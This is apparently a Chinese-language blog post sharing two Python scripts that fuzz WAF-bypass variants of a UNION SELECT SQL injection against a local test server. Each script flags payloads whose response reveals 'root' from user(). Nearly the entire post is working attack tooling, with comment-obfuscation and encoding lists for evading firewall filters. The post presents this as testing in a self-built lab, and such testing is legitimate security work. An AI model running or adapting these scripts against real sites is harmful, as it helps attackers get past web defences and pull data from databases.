分享两个小脚本，用来WAF Bypass简单FUZZ的

第一个：先生成一个字典，带入搭建的环境进行FUZZ，针对某些软WAF挺好用的，可FUZZ出不少姿势出来，记得先把CC攻击加入白名单才行哦。。。

```
#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import urllib
import urllib2
import requests
values={}
f = open('mutou.txt','r')
for line in f.xreadlines():
    line =line.strip()
    values['id'] = "1 union/*%s*/select/*%s*/1,user()" %(line,line)
    data = urllib.urlencode(values)
    url = "http://192.168.125.140/php/config/sql.php"
    url = url+'?'+data
    try:
        response = requests.get(url)
        result = response.content
        #print result
        if result.count('root'):
            print line
            print url
            print "==================================="
        else:
            pass
            #print ".",
    except:
        print "Error"
```

第二个：

```
#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import requests

fuzz_dic1 = ['*/','/*','*/','/*!','*','=','`','!','@','%','.','-','+','|','%00']
fuzz_dic2 = ['*/','',' ','/*!']
fuzz_dic3 = ['/*!',"%a0","0c","%0a","%0b","%0c","%0d","%0e","%0f","%0g","%0h","%0i","%0j"]
headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0"}
url="http://192.168.125.140/php/config/sql.php?id=1"

for i in fuzz_dic1:
    for j in fuzz_dic2:
        for k in fuzz_dic3:
            payload="/*!union"+i+j+k+"select*/ 1,user()"
            geturl=url+payload
            #print geturl
            try:
                response=requests.get(url=geturl,headers=headers)
                result = response.content
                #print result
                if result.count('root'):
                    print geturl
                else:
                    print ".",
            except:
                print "Error"
```

新文章将同步更新到我的个人公众号上，欢迎各位朋友扫描我的公众号二维码关注一下我，随时获取最新动态。